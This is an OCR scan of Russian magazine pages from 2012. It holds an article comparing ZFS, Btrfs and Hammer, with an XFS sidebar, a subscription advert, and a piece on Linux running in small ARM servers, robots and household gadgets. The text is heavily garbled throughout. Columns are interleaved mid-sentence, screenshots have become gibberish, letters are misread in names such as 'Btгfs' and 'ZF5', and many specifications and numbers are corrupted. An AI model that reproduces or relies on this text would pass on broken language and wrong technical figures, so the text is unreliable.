UFS, ZFS, ех!З, ext4 и Hammer !больше- лучше), опубли к ова н ные
ресурсом Phoгonix . com в январе
2011
года !когда Нат ·
107
05/160/2012
EPIDEMZ.NET
UNIXOID
Threaded 1/0 Tester
..
Test: Read- Size Per Thread :
256МВ-
vО.З . З
Threaded 1/0 Tester
Thread Count: 16
Te st: Random Write- Size Per Thread:
....,
vО.З.З
32МВ-
Thread Count: 32 Phoront•
T~st ЭJitt
2.8.0•2
PHORONI X.COM
60
40
UFS+S
UFS+J
Тест скорости записи
ZFS
32 потоками одновременно и чтения 16 потоками в файловых системах UFS, ZFSIFreeBSD) и Btrfs. Июль 2010 года
файловойсистемеудастся правильно
аспектах, начиная от способа администриро
управлятьсвоейпроизводительностью,не
вания и заканчивая механизмом записи новых
Чтобы немного пояснить ситуацию с функция
терятьданные во время выхода одного из
данных, который никогда не уничтожает уже
ми, которые потребуются от файловых систем
дисков RАID-массива изетроя и правильно
существующую информацию. Но одно из самых
в перспективе, проведем небольшой хит-парад
переконфигурироваться при возобновлении
замечательных свойств этой ФС в том, что она
возможностей, которые теоретически будут
работы. Ничего подобн ого в
стирает границы между самой файловой систе
востребованы в ближайшем будущем, а факти
будет.
мой и уровнем управле ния блочными устрой
Длительность восстановления файловой
ствами . В
системы после сбоя не должна бытьдольше
ваемых пулов, объединяющих сразу несколько
чески нужны уже сейчас:
1.
5.
Масштабируемость. Файловая система
не
несколькихсекунд.Вбольшинствеситуаций
накопителей. В рамках пулов можно объединять
ext4 удовлетворяет этой
диски и разделы в RАID-массивы, а затем ис
объема обслуживаемого храни лища и увели
однако на больших хранилищах и в сложных
пользовать их для создания самой файловой
чением размеров файлов . ЕхtЗ- прекрас
ситуациях процесс восстановления журнала
системы. Такой дизайн позволяет консолиди
ный пример файловой системы, которая явно
может сильно затянуться.
ровать работу файловой системы и подсистемы
6.
ext4 было уделено
потребности ,
Поддержка дедупликации , то есть объеди
RAID,
ненияодинаковыхблоковданныхсцелью
дительность, так и надежность массива. Файло
в результате чего возрастает как произво
особое внимание производительности на
экономии дисковог о про с транства. Очень
вая система знает об используемой RAID-cxeмe,
больших х ранилища х .
важная характеристика для различных
текущем состоянии дисков и балансирует на
Целостность. В случае сбоя или внешнего
хостингов и облачны х платформ. В
грузку в зависимости от условий. Сбой в работе
вмешательства файловая система должна
не реализована.
ext4 пока
RАID-массива позволяет
уметьподтвер дитьцелостность управляе
мых ею данных. Ни
ext4,
ZFS
вовремя остано
вить операции ввода-вывода и восстановить
ни, тем более, ехtЗ
Отдельным пунктом сюда можно было бы
свою работу, дождавшись переконфигурирова
такой возможностью не обладают.
добавить выбор правильной лицензии на рас
Возможность мгновенного отката внесен
пространение кода ФС, но эта тема вы х одит за
которые файловая система хранит для каждого
ных изменений и создание снимков состоя
рамки обзора файловых систем, тем более что
блока, RАID-массив на основе
ния ФС. Не нужно объяснять, насколько это
все три наших претендента по сути привязаны
крайне стойким и в подавляющем большинстве
важная и удачная идея. Работы по интегра
к конкретным ОС:
случаев легко восстанавливаемым без помощи
ции такого функцианала в ext4 уже идут lпро
и
ект ext4 cow), однако его реализация имеет весьм а спорный характер.
4.
реализована концепция так назы
дительность не должна снижаться с ростом
поэтому при разработке
3.
ZFS
должна быть не просто быстра, ее произво
несоответствуетэтомукритерию,именно
2.
ext4 никогда
1
Интеграция с менеджером томов. Чтобы
ZFS- Solaris, BtrfsHammer- DragonFi yBS D.
Liпu x
•
ния. В совокупности с контрольными суммами,
ZFS
получается
пользователя. Фактически ему не страшны даже такие напасти, как сбой в низкоуровневой
части работы жесткого диска !например, ко гда
Об этой файловой системе не слышал только
диск выдает неправильную контрольную сумму
ленивый. Это не только первая ФС, в которой
для некоторых блоков). Стойкость файловой
реагировать на выход из строя накопите
были реализованы все возможности файловой
сис темы обуславливается также и применяе
ля,файловаясистема,менеджертомов
системы будущего,- фактически ее разработ
мым в ее работе механизмом копирования при
и программный RАID-контроллер должны
чики и установили стандарты на эти возмож
записи. В отличие оттрадиционной ФС,
бытьтесно с вязаны . Только в этом случае
ности.
перезаписывает блоки файлов при их обновле
работать наиболее эффективно и правильно
ZFS
иннавациан на почти во всех своих
ZFS
не
нии, а создает копии и помещает изменившуюся
информацию в них, оставляя старые блоки доступными для пользователя с помощью спе
ФАЙЛОВАЯ СИСТЕМА ДОЛЖНА БЫТЬ НЕ ПРОСТО БЫСТРА, ЕЕ ПРОИЗВОДИТЕЛЬНОСТЬ НЕ ДОЛЖНА СНИЖАТЬСЯ С РОСТОМ ОБЪЕМА ОБСЛУЖИВАЕМОГО ХРАНИЛИЩА
И УВЕЛИЧЕНИЕМ РАЗМЕРОВ ФАЙЛОВ
циальных средств. Этот механизм применяется как к данным, так и к метаданным, так что на
каком бы этапе обновления ФС ни произошел сбой, старые данные всегда останутся на месте, и фактически ФС останется в консистентном
состоянии lза ис~лючением новы х выделенных блоков, которые время от времени подчищают
ся сборщиком мусора) . Такая схема позволила разработчикам
ZFS
полностью отказаться от
fsck.
ХАКЕР
108
EPIDEMZ.NET
05/160/2012
Файловые системы будущего
Arrow Ьуs aavtpte the мnu. cEnten- se\ects sull8enus ---•. Htgl'l~:~t;:•::;,rs ere hotlleys. Presstnv сУ> l.nc\udn, . - exc\ucles, .."... 80Ciu1.ertzel teeturн. Press cEsc-t:soo to extt , c-r. ror Ne\p, </> ror seerctt. Lepnd : 1•1 Ьu1\t-1n 1 1 exc\udN сtЬ 80du\e с :.о IIOdu\e
с111>
1
tif52
J
11\е
r.FЯ DLМ
с >
ний . Btгfs наследует очень многие черты
tock1no
11\е
просто не может быть включена
ZF5,
включая механизм копирования при записи, снапшоты, динамиче ское выделение метадан ных, контроль целостн ости с помощью кон
11
POSIX Access Contro\ Usts
вtrfs
ZF5
в код Liпux из-за лицензионных ограниче-
syst• support
i+jfjнMjДMфjoj•Jfii•i•• IЫHIШИFIЬ@iipwt.Ji 8'' [•)
поскольку
=-
сераь\е
(EXPERDtlfПAL)
1•1 Dnottty support
трольных сумм, распределенные блокировки,
-•- Jnatify ft\e ch8ng8 not1f1cetton 1upport [•J l nottfy support for uнn,.ce
сжатие данных и многое другое. Фактически
t•J
Btгfs представляет своего рода произвольнее
NILFS2
syst• s..,art
QltOte support
[ 1 Rlport quote мtsagn tllrough ntt\1M 1ntertкe 1•1 l'rtnt quote •rn1f'l9s to conso\e IOISOLml 1 1 Ad01ttoм\ quote santty cltкks с :. 0\d quote for88t support <"'> ouota fONit vfsvl 8nd vfsvl support с > Кеrм\ 811tCI80Uater 11111port с1Ьо ке rм\ aut080UIIter venton • support (e\so supports v)) с1Ьо FUSE (F1\nyst• 1n usenpace) support с
:.
воспроизведение функциональности
Первая особенность Btгfs заключается в ар
---•
CD·ROIVOW F1\nyltt81 ···> FH. .yst- ... ,. l"leuclo 11\нyst•• · ··>
в Btгfs используются В-деревья, что вылива
11
005/FAT/NТ
ется в более эффективный дисковый формат
t•J
M t 5c•ttнeoul fH••ysteu · · .,. (•) Network F1 t• Syst... · · ·•
в сравнении с
"
Part1t1on Types -- ·> ·•· Nilt1ve \angu• support В!IZII
ZF5,
дизайн которой основан на
некотором подобии механизма управления па мятью
с Не\р>
c Ex lt:.o
с не
хитектуре самой ФС. Для управления данными
0\.lracter deV1ce 1n userpace suppart скьеs
ZF5
сколькими не столь заметными особенностями .
slab. Плюс такого
подхода- в более низ
ком уровне фрагментации файловой системы и более высокой теоретической производитель
Выбор
Btrfs во
ности. Вторая отличительная черта Btгfs- это
время сборки ядра
интеграция с механизмом управления логиче
скими томами device-mappeг. Как и Среди других особенностей
Механизм копирования при записи создает
ZF5
можно от
ZF5,
Btгfs
плотно взаимодействует с менеджером томов,
еще одно важное преимущества. Он позволяет
метить динамически выделяемые метаданные,
записывать блоки в файловую систему в произ
которых всегда будет ровно столько, сколько
реализацию, а на уже имеющиеся ме ха низмы
вольном порядке , поэтому планировщик ввода
нужно для хранения всех файлов. Файловая си
ядра
вывода получает большую свободу в опти
стема имеет встроенные механизмы дедупли
файловую систему будет сложнее портировать
мизации операций записи и объединения их
кации, шифрования и сжатия данны х, которые
в случае необходимости. Также Btгfs может
в эффективные для записи очереди . В обыч
работают даже на уровне отдельных файлов.
nохвастаться возможностями, которых просто
ных ФС о перации должны быть выполнены
но полагается в этом деле не на собственную
Отдельно хо тело сь бы отметить дружелюб
нет в
Linux.
ZF5.
Минус такого nодхода в том , что
Наnример, гибридные nулы. Btгfs
в строго определенной послед овател ьности:
ность ФС к администратору. Все операции по
старается размещать наиболее используемые
запись в журнал- изменение блоков [которое
созданию и выделению разделов, объедине
данные на более быстрых устройствах, что
может быть отложено с целью последующей
нию их в массивы, управлению свойствами ФС ,
очень удобно nри использовании небольши х
оптимизации)- запись метаданных . Это
созданию снапшотов и так далее выполняются
550-дисков совместно с более емкими обыч
с помощью двух простых команд , в базовой ра
ными жесткими дисками . Также в Btгfs есть
снижает общую производительность ФС .
ZF5
безразлично, в каком порядке будут выпол
боте с которыми можно разобраться буквально
поддержка субтомов- своего рода файловая
нены эти операции: в случае чего у нее всегда
за полчаса.
система с несколькими корнями . В отличие
есть старая версия файла и его метаданных , а потому планировщик ввода-вывода может
развернуться на полную катушку. Механизм ко
пирования при записи дает
ZF5
еще о дно явное
преимущества. Так как файлы никогда не пере
от
I:Ji;jj.i Следующая файловая система нашего обзора
для Btгfs уже разработано несколько
доступны конверторы из файловых систем ехtЗ
Btгfs, созданная, как зто ни странно, под
-
ZF5,
конверторов из других ФС. В данный момент
впечатлением
ZF5
и
и для конкуренции с ней,
позволяющие не только перевести одну
ext4,
записываю тся [пока хва тает свободного про странства, разумеется), они всегда могут быть а
восстановлены к любому состоянию. Это свое го и смонтиров~ть ФС к каталогу такой, какой она была в то время. Ты можешь создавать снапшо ты по расписанию , создавать снапшоты снап шотов, монтировать их к разным каталогам.
И все это с минимальными потерями дискового пространства . Например, создав два снапшота
Вtrts
о
·:
пространства. Еще один механизм, который позволяет поднять производительность ФС, -это интеллектуальная предвыбор ка. Почти все современные ФС умею т делать префетчинг блоков файлов с целью их более скорой отдачи приложению, этот же механизм применяется
жесткими дисками. Но только
ZF5
учитывает
•
8tr1s is
в
NW сору on wn11
fiмygem
lof LN emed 11 irnplernen(ing 8!Мinced
пример, файловая система учитывает процес
f881urм
wt\18 fotusmg on f8UIIOI8nw1c:e, repllir er!d
о
.......... .
Conwnnly po!UI
plan to m1k8 lorward
•
•
Cшert~
wlth good niiUita. Phl••• emall the 8tm 11\811/ng 111 lfyou h8ve •ny problem8 or que1tlons wtlh ualng 8trfll.
Btm la under lм.vy dr.oМopment,
....
. .....,..,.
comp~~tlble
Ьut
.wry etror11a
Ьeing rмde
chk lomtal chlngn, 1nd
• Rectrt~
Nol81h111Вtrfs0085not)'IIIIIY88
fsckk:lollhlllcln focemn
to
kнр
m~ny uиn1
the ....yatem
h8Y8
Ьнn
аt8Ы.
1nd f1tt. Al of 2.• .)1 , -
exper1mentlng w!th Btm on
ttмlr
ody
•yatem•
._ ·--..
''"""" Anldes.
5COO:ad
preseruьons,
18,4'10.18
раэ больше данных , 64-битные системы .
• Btrfs появилась в ядре Linux начиная с версии 2 .6.2 9-гс .
Conttntl [hklel
" Sp«llllplgeS
что позволяет ей
хранить в
Thrswil
Ьlf!Ц(Iwhenlllefscktoolbrнcty
з
файловая система ,
чем нынешние
wr-. Вtr1siss&eCI8onlsiiЬII11'18Chlne, •lscurf~pos.И:IIelo
corfЩ!IIfeys~emlrrec~ifyourm8Chinecrashиorlose5powerondiskslhllldon,l\ll'ldl81'ushr8QU85tJCOfТ8CII)'
• Whмlr1kshwl • Rel.!oledcl'llnQes
ZFS-этo
128-битная
Main Page
poclcasts
• Название Btrfs можно
4 ~11011
б Dewloper ooa.meruьon
расшифровать как
7SotJC8Code~
8-tree FS либо Better FS. Аббревиатура ZFS в настоящий
9F\Irnng
Features
момент не имеет
Umцtlм e weelhoff!lesystetnStochoosefrvm, Ь...we-fatingenumЬefofc~wllhscelinglolhelergeslorage SUЬS~IhlltereЬ8cllmlf1gtOimiOII_..Iodey"sdlllc1111en. filмyslem:sneedlosc•tnlhwiiЬilityloiiCklress8fiCI~IJ,rge
множество различных параметров и позволяет
сделать предвыборку более эффективной . На
•Gooфt
eesyedmln15118Ьon_ lnilllly~Ьy0Jac18 , 8tJfsislicensedWideflhiGPlendopenlofcot1UЬA!onfromll!yonв.
u ....,_
ФС- до и после добавления в систему нового файла,- ты вообще не потеряешь дискового
Jt - l'l.:.ca•
.1 \.oglt'l l (fe. . ICtO\rt
рода бэкап , ты даже можешь указать дату
-
ФС в другую за считанные минуты, н о и еде-
официальной расшифровки , но изначально означала
Zettabyte FS. • E.dentMSid Nesacw.ge · ~Ьylll":1бE18R'I8XIП'IImNesU:•
сы, запрашивающие данные, и делает выборку индивидуально для каждого из них.
ХАКЕР
Страничка, посвященная файловой системе
Btrfs
109
05 / 160/ 2012
EPIDEMZ.NET
UNIXOID
Please select the flle DragonFly BSD.
you want to use wlth
systeн
is the new DragonFly BSD file traditional BSD file systeн. НАНМIR
systeн .
UFS is the
< Use HAMMER > < Use UFS > < Return to Select Dlsk > Уста н овщи к
DragonFiy nредлагает установить систему на
ФС
Hammer
З н а я об э т ом о г ра ни че н ии, М з ть ю Д и л ло н
лат ь о т кат к п ре д ы д у щ ей Ф С в с л учае пр облем
под д ержка с н ап ш о т ов и сохр а н ен ие ис т о р ии
с B t гf s . Это возможно б л а г о д ар я п ринци п у
состояния ФС, которое выполняется каж д ую
нача л работу п о мо д ер н иза ц ии файловой
работы ко н ве р то р а, к о то р ый п рос т о соз д ае т
операцию sупс;
сис т емы и
упра в ляющие с тр укту ры B tг fs внеза н ят ы х
п оддержка д о65535 п севдофайловыхси
с описанием дизайна файловой сис т ем ы
бл о ках ФС и пр и в яз ы вае т их к уже имею щ имс я
с т ем [PF SI вн ут р и од н ой ФС;
H ammeг2, пер в ые р абочие в ерс ии ко т о р ой
да н ным на д иске, сох р а н яя суперб л ок ори г и
вс т рое нны й меха н изм деду п ликации д ан
д о л жны по я витьс я в репа з и т а р ии исхо дн ых
н аль н ой ФС в це ло с т и и сох р ан н ос т и. Н есмотря на д оста т оч н ую стабил ьн ост ь
•
рабо т ы B tгfs, она д о сих по р н а хо д и т с я в ста д ии
8 февр а ля
опубликов а л д окумен т
н ых;
т екстов D гagon Fi y к ко нцу
автомати ч еское восстановление после сбо я ,
этому докуме н ту, новая Ф С буд е т nолно с т ь ю
без необхо д имости вызова
базиро в аться н а и д ее ко п и р ов ания при з а пи си
fsck.
альфа- в ерсии. Тем н е менее, ее п о дд ержка уже
2012
го д а. Со гла с н о
и, как следс тв ие, име т ь п о дд ержку за п исы в ае
ес т ь в и н сталл ят о р ах U b uп tu [ на ч ин ая с в ерсии
П очти все эти возможности есть в файловых
мых снапшо т о в , а т акже та к и е в е щ и, к ак м н о
10.101и F edoгa 16.
системах
жествен н ые кор н и Ф С, н еско л ько а лг ори т мо в
llttiiiii§;J
H ammeг су щ ес т венно отличается от архи
сжатия данных н а в ы бор и кл а с терны й р е жим
тектуры обеих из них и фактически не имеет
с множест в ом мас т еро в .
Фай л о в ая сис т ема H ammeг стои т н еско ль ко
анало г ов . Д ело в том, что Hammeг построе н а
ZFS и
Bt г fs , однако архитектура
в стороне о т дв ух д ру г их п ре д с тавит е л ей н а ш е
по классическому ша блону файловых систем,
l:l§!:lei!C!I
го обзо р а. В о -п ервых, э т о фай л о в ая сис т ема,
ос н о в а н ных на В -д ере вь ях, и не является Ф С
С тем , что классические ф а й л ов ы е с и с т е мы уже
фак т и ч еск и соз д а нн ая о дни м ч е л о в еком п о
с механизмом ко п ирования при записи. В мес т о
отжили с в ое, трудн о п ос п о рить . Уже ч е р ез н е
име н и Мэт ь ю Д и лл о н , ко т о рый т акже явл яе т ся
э т ого H ammeг использует моменталь н ые
сколько лет мы буд ем и с п о л ьзо в а т ь Ф С н о в о г о
ли д е р ом пр оек та D гago пF iy B S D . В о -вт о р ых,
с н имки своего состояния , ко т орые произво
поко л е н ия, более эффек ти в н ые, бо л ее с т ойк и е
H a mm e г об л а д ае т инт е ре с ны м и н е имеющ им
дя т ся п р и каждом вызове sупс, то есть раз
и с н абженные фу н к ци о нал о м , о ко т о р о м е щ е
ана л о г о в д из а й н ом, прид ум а н н ым о п я т ь же
в
совсем недавно н икто н е мог и ме чт а ть . Вы
самим Д и лл о н ом.
о п ераци я синхронизации д анных с диском,
бира т ь между ними н ам не п р ид е т с я , п оско ль
изме н енные д а нные записываются в новые
ку все файловые с и с т емы, п ре д с т а вл е н н ы е
Основные возможности
Hammer:
30-60
секу нд . Как только производится
файлов а я сис т ема може т разме щ а т ься на
блоки, а в iпode добавляется информация о н о
в обзоре, пре д наз н а ч ен ы для раз ны х ОС.
м н ожес т ве томов, об щ ее чис л о ко т орых
в ом снимке. Это менее эффективный меха н изм
уже вовсю испо л ьзуетс я в Sol aг i s и F гee BSD ,
огра н иче но
ZFS
ф ункционирования Ф С: кроме все г о проче г о,
реализа ц и я B tгfs п ока д оступна т о ль к о в
може т д ос т ига ть 4096 Т б;
он требуе т ежед н е вн о г о в ызова спе ц иа л ьной
а H amme г- н еотъем л ема я ч а с ть D г ag o nF iy .
п ров~ р ка ц е л ост н ос т и д ан н ых с п омо щь ю
утили т ы, кото р ая уд ал я е т ус т арев ш ие с н имки,
В се они осно в а ны на о дн их и д е я х и во мн о г ом
кон тр ол ь н ы х сумм;
освобож д ая п р ос тран ст в о на д иске.
фу н кциона льн о р а в ноз н ачн ы . :и:
256, а р азме р к а ж д ого из н их
Li nux,
AKAKЖEXFS? XFS- еще
одна файловая система , ставшая стандартом на
предприятиях и долгое время занимавшая первые позиции в списка х
гигабайт) , поэтому она получила широкое распространение в различны х центрах обработки данны х, 3D - моделирования , потокового вещания
файловы х систем будущего . В наш обзор она не попала по причине
медиаданны х и тому подобное . К слову, последние особенно полюбили
отсутствия большинства заявленны х в начале статьи функций, однако
XFS
XFS
еще долгое время сможет удерживать позиции на рынке благодаря
чрезвычайно высокой скорости работы с большими объемами данных
и х орошей масштабируемости на больши х дисковых массивах .
XFS- это
64-битная журналируемая файловая система,
разработанная в середине 90- х компанией
Silicon
Gгaphics . Ей нет
равны х в скорости работы с большими файлами !размером в несколько
за реалтаймавый
API,
гарантирующий стабильную скорость записи
на диск вне зависимости от каки х бы то ни было условий. В свое время
XFS также
стала прародителем многи х технологий
оптимизации , таки х как ленивое обновле_ние , когда блоки данны х записываются на диск только в самый последний момент, или интеллектуальный ме х анизм упреждающего чтения, которые впоследствии были переняты многими другими файловыми системами .
ХАКЕР
110
EPIDEMZ.NET
05/160/2012
{gameJiand ПОДПИШИСЬ! shop.glc.ru Редакционная подписка без посредников это
гарантия
получения
важного
для
-
Вас
журнала и экономия до 40о/о от розничной цены в киоске
6 номеров - 111 О руб. 13 номеров - 1999 руб.
6 13
номеров номеров
-
564 руб. 1105 руб.
6 номеров - 111 О руб. 13 номеров - 1999 руб.
6 номеров - 111 О руб. 13 номеров - 1999 руб.
8-800-200-3-999 +7 (495} 663-82-77 (бесплатно}
6 13
номеров номеров
-
81 О руб. 1499 руб.
6 номеров - 111 О руб. 13 номеров - 1999 руб.
ХVIIИГЛН
6 13
номеров
6 13
номеров
номеров
номеров
-
630 руб. 1140 руб.
6 13
номеров номеров
-
895 руб. 1699 руб.
6 номеров - 1194 руб. 13 номеров - 2149 руб.
-
690 руб. 1249 руб.
6 13
номеров номеров
-
775 руб. 1399 руб.
6 13
номеров номеров
-
EPIDEMZ.NET
950 руб. 1699 руб.
6 13
номеров
6 13
номеров
номеров
номеров
- 894 руб. - 1699 руб.
- 81 О руб. -1499 руб.
&ЕСПРЕДЕЛЬНАЯ ЭКСПАНСИЯ LINUX По самым оптимистичным подсчетам, Linux занимает не более 2% рынка десктопов. Вряд ли это можно назвать успехом.
Зато на серверах, мобильных и встраиваемых устройствах
положение значительно лучше , а порой Linux можно встретить на весьма неожиданных и интересных девайсах.
EPIDEMZ.NET
Небольшой десктоп на
ARM
---
~
I Linux для домохозяйки
nервопроходец среди Plug-cepвepoв
MICROSERVER
ленную
Linu x уже давно никог о не уди· сервера на ARM встречаются nока еще
Ubuntu,
Наверное, самый маленький Linux-cepвep
но цена куса лась-
249
дол·
Сервером на
ларов. Ребятам из
вишь,
nоказалось слишком громоздким и дорогим,
SolidRun Ltd
это устройс тво
гораздо реже. Последний nиск моды: сервер
так что они сделали свое-
на
кубик размером 55 х 55 х 42 мм и ве сом
Linux/ARM должен nомещаться в карман.
Пожалуй, началась эта гонка за миллиметрами, милливаттами и центами с Maгvell
SheevaPiug -маленького Linu x·cep вepa l110 x 69,5 x48,5 мм, 200 г], выnолненного в корnусе от блока nитания. Maгvell SheevaPiug имел на борту ARM 1,2 ГГц, 512 Мб ОЗУ, 512 Мб ПЗУ, USB, Etheгnet и слот для SD. По стаалялея с Ubuntu, стоил 99 долларов . Ул~чшенные версии этого се рве· ра IGuгuPiug, Dг eam Piug] могли также иметь
eSATA, Wi-Fi
и
Bluetooth. Удивительно,
но все
CuBo x:
черный
91
г,
ным Linux !скорее в сего, это будет Fedoгa, хотя
16
Мб ПЗУ, Et heгnet
вnечатляющие харак теристики для устройства
размером с разъем
RJ45. Поставляется с про· шивкой на базе Linu x lи специализированным веб-интерфейсом для настройки], стоит около
62 долларов.
Удивляет также заявленная раба·
чая темnература: от
·40° до +85°
С.
MICRODESKTOP
и Агсh
Linux].
Прогресс не стоит на месте, и у Rа sрЬеггу
Pi
уже начинают nоявляться конкуренты в этой
деруинеплохому графическому чиnу малыш
ценовой категории. Организация
умеет nроигрывать видео в
Tech
бодро тянет
Full HD
и довольно
Gnome и КОЕ. К тому же -1 35 долларов.
ценник
уже nриятнее
Pi, о
котором наверняка все
размером чуть больше банковской карточки
l85,6 x 53,98 мм , примерно на треть меньше формата pico·ITX, весит 45 г] и стоимостью 25 долларов за базовую А-версию IARM Bгoadcom ВСМ2835 700 МГц, 128 Мб ОЗУ, видеочип с nод· держкой OpenGL ES 2.0, USB, HDMII. Версия В отличается наличием 100 MЬit Etheгnet, второго USB и на 10 долларов большей ценой.
Rhombus
планирует выnускать nлату примерно
такого же размера, но с гораздо более мощным
nроцом
Е сли же нужно еще дешевле, то на сцену выходит RаsрЬеггу
Мб ОЗУ,
шаг nроизводителя -выn уск «nользователь·
ской» версии: в корnусе и с nредустановлен· официально nоддерживаются также DeЬian
ARM 800 М Гц IMaгvell Aгmada 1 Гб ОЗУ, HDMI, 2x USB, GigaЬit Etheгnet, eSATA, lгDA, micгoSD·cлoт lв ком· плекте карточка на 2 Гб с предустановленной Ubuntu]. Благодаря встроенном у видеодеко·
уже слышали. Ещебы-полноценный комп
16
заказать
вн у три имеется
Рекорд nока nринадлежит Lantгon ix ХРогt Рго: М Гц,
Pi Foundation,
можно у нескольких nоставщиков . Следующий
500-seгies],
эти сервера далеко не самые миниатюрные.
ARM 166
планирую т добав и ть РоЕ]. Производ с твом занимается RаsрЬеггу
ARM
Согtех АВ и ценой около
15 долла·
ров. Правда, никакие сроки пока не известны.
111
Все nеречисленные выше устройства - не·
nлохиеконструкторыlизних, наnриме~ может выйти центр умного дома], но их можно исnользовать и сразу nосле покуnки- в каче·
стве nростого сервера INAS, web и так далее] , десктоnа или ТV·nриставки. Но есть целый класс устройств, которые являются nросто заготовками для реализации каких-нибудь
Несмотря на не очень выдающиеся характе·
идей и в большинстве случаев тоже работают
Некоторые версии Рlug·девайсов имели также
ристики, малина умее т играть
nод уnравлением
и видеовыходы, то есть вполне себе годились
и гонять в
Quake 3 Агеnа
Full HD
видео
на приемлемом
FPS.
Linu x.
Подобные девайсы вы·
пускают многие производител и, но наибольшим
в качестве nреетенького десктоnа . Например ,
Еще один nлюс- знергоnотребление: ком nью·
усnехом, nожалуй, nользуютсяодноnлатные
Maгvell
тер отлично работает, nитаясь
комnы BeagleBoaгd и
D2Piug IARM 800 М Гц , 1 Гб ОЗУ, 8 Мб ПЗУ] имел HDMI и VGA, а также nредустанов·
о т четырех батареек Ад
no
micгoUSB или
ia в будущих ревизиях
EPIDEMZ.NET
BeagleBone. BeagleBone
интересен своими неnлохими характеристи·
·,
~~:\ ~ ~~:-·~
~--·;!.~·~
~'
- · .\
~ ~ ) "р
,"" r- f \...
·k:?<'~
~
'~ :.<"---~\
~ '
.
.
;__ '\!"'.:. ~~
~ N''." . ' . ;jf.~
~;:;:,., .~
~-~
·~·.~ .
~ ~
~'->:-:~ .....,
Знакомьтесь,
Не сказать, что красавец, зато всего
Darwin
Как давно ты пересобирал мир на своей гитаре?
500 долларов
куренто м da Vinci за 1 800 000 долларов!. Или OAR wln-O P [Oyпamic Anthгopomoгphic Robot with lntelligeпce- О реп Platfoгml- небольшой
ка ми
128 Мб ОЗУ! и сенсорный ди сплей [480 x 800I.
micгo50 на
Работает под управлением Liпu x, интерфейс
висимости от ревизии!, а также двумя 46-пи·
основа н на библиотеке EFL [часть проекта Eп lighten meпtl . С помощью дисплея можно
новыми разъемами, с помощью которых можно
у правлять температ урой вн у три, почитать ре
робот, который умеет довольно быстро пере
получить доступ практически ко всем портам
цепты иэ встроенной базы, побродить в инете
мещаться в пр ос транстве [до 24 см/с!, играть
процессора. Это позволяет создавать «дочер ·
или использовать холодильник как фоторамку
в футбол спе циальным мячом и самостоятельно
ние платы », которые цепляются к BeagleBoпe
-к сожалению, ничего необычного: продукты
в с тавать в с л у чае падения. Состоит из двух
по принципу бутерброда. Существует уже до·
сам он не закажет, пельмени не с варит. Ждем
вольно большое количество таки х плат расши·
улучшенную версию .
процессорав [lntel Atom и ARM Согtех-МЗI, 4 Гб 550, 2 Гб RAM, 20 сервоприводов, аудио- и в и· деосенсоров , HOMI , Etheгnet , U5B, Wi-Fi, ус та новленной Ubuntu. В общем, занятная игрушка за 12 000 долларов . Или вот немного более
(ARM 700 М Гц, 256 Мб ОЗУ, в комплекте 2 Гб с установленным Aпgstгom Liпuxl при невысокой цене (от 85 долларов в за·
рения:
OVI, HOMI,
САN-интерфейсы, LСD-зкран ,
аккумулятор и др угие
Или вот еще неожиданный предмет электрогитара. С Geпtoo , на которую можно
.
зайти по 55Н ... По сле этого использование
Др угой интересный <<ко нстр уктор»
FlexiЬity Conпect, решение для домашней
тачскрина
автоматизации. Представляет собой неболь·
сто струн уже не кажется чем-то необычным .
Wakamaгu. Естественно , на
шую прозрачную коробочку [90 х 25 мм!, внутри
Называется такая шт у ка
30
которой -
у нее АМО
1
ARM 200
М Гц,
64
Мб ОЗУ,
8 Мб
ПЗ У,
50/ММ С-слот и четыре U5В-порта, работает на OpeпWRT. Его применение ограничено только фантазией владельца. Подключив wеЬ-камеру и Wi-Fi-карточку, можно организовать беспро
водное видеонаблюдение, а если подключить Wi·Fi-карточку и ЗG-модем- получим точку
доступа [правда, в этом случае к выбору Wi·Fiaдaптepa следует подойти основательно! . Кро
[8,4"1 и 144 датчиков на грифе вме
[454 мм в высоту, 2,9 кг! человекоподобный
Geode 500
Kitaгa, внутри
М Гц , есть Etheгnet и
Стоит эта прелесть в сего
-
Misa 789
исходникиможно скачать на
MIOI.
полезный вариант - робот- сиделка MitsuЬishi
Linux . Рост 1 м,
вес
кг, цвет желтый. Умеет читать всл ух, ра с ·
познавать до
10 лиц
и
10 000
слов, фотографи·
долларов, а все
ровать, самостоятельно заряжать аккумулятор
github.
Стоимость
-14 000
Есть также ряд проектов , направленных на создание небольшага робота подешев
Первое правило современной робототехники:
ле-в домашних условиях и из подручных
хоро ший робот должен работать под управле
материалов: вариант от l inuxpcгobot . oгg вы·
нием Liпu x. Пока доля
глядит, конечно, непрезентабельно и умеет не
Linu x на
рынке робото
техники не очень велика, но есть основания
много, но его цена не превышает
ме того, на сайте можно приобрести различные
надеяться , что она будет расти в ближайшем
Сдается мне, что на Терминаторе тоже будет
дополнительные датчики [например, инфра красный датчик движения , зуммер и другие! ,
будущем. Во-первы х , потом у, что все чаще
стоять
при создании робота используется R05 [Robot Opeгating 5ysteml, ОС на базе Linux (если быть точнее- Ubuntul и Aпdгoid. Во-вторых, растет
Компания Ameгichip разрабатывает всякие
которые цепляются к
Connect
и значительно
расширяют область его применения.
количество интересных экземпляров с
LIN UX Порой
ВО КРУГ
Linu x можно
встретить в таких устр ой·
Linux .
500
долларов.
Linu x.
LINUX
В Ж УРНАЛ Е
инновации в области рекламы. Один из самых
Из недавних примеров: медицинский робот
успешных ее пр р дуктов-
хи рург Raveп
те х нологии проста : человек листает глянце
11, помогающий
врачам проводить
Video
iп Pгint . Суть
ствах, где совсем не ожидаешь его увидеть .
операции. Всеисходники полностью открыты ,
вый журнал, открывает страницу с рекламой,
Например, в холодильнике . Electгolux
стоимость-
на части страницы начинает проигрываться
имеет встроенный комп на
1-Kitchen
ARM [400 М Гц,
.
долларов .
250 000 долларов [это еще очень
недорого, если сравнивать с ближайшим кон-
EPIDEMZ.NET
видеоролик. Реализовано зто достаточно
ЗАКЛЮЧЕНИЕ
просто: плата ICPU lпgenic 360 М Гц, 32 Мб ОЗУ, 1024 Мб П ЗУ!, тонкий цветной жи д кокрис тал лический дисnлей lc разрешением 320 x 24DI,
мне известно, было выnущено
динамик, батарейка !заряда хватает где -т о на час nросмотра роликов!, разъем miniUSB для
Vogue
стал чрезвычайно популярен среди
с х86 lв процентнам соотношении!. Однако
гиков
:1.
ест ь н есколько пр облем , которые хо р ошо бы
номеру
Vogue
и
Playboy с
no
одному
т акой рек ла мой. П о
сле появления статьи об этом на хабре журнал
nодзарядки аккумуля т ора и закидывания ново
Изначально на устройстве установле на не
Радует тот факт, что на устройс т вах с АRМ процами
Linux
работает гораздо чаще, чем
решить для достижения нирваны. Пожалуй,
го видео . П ри~ечательно, что для nокупателя
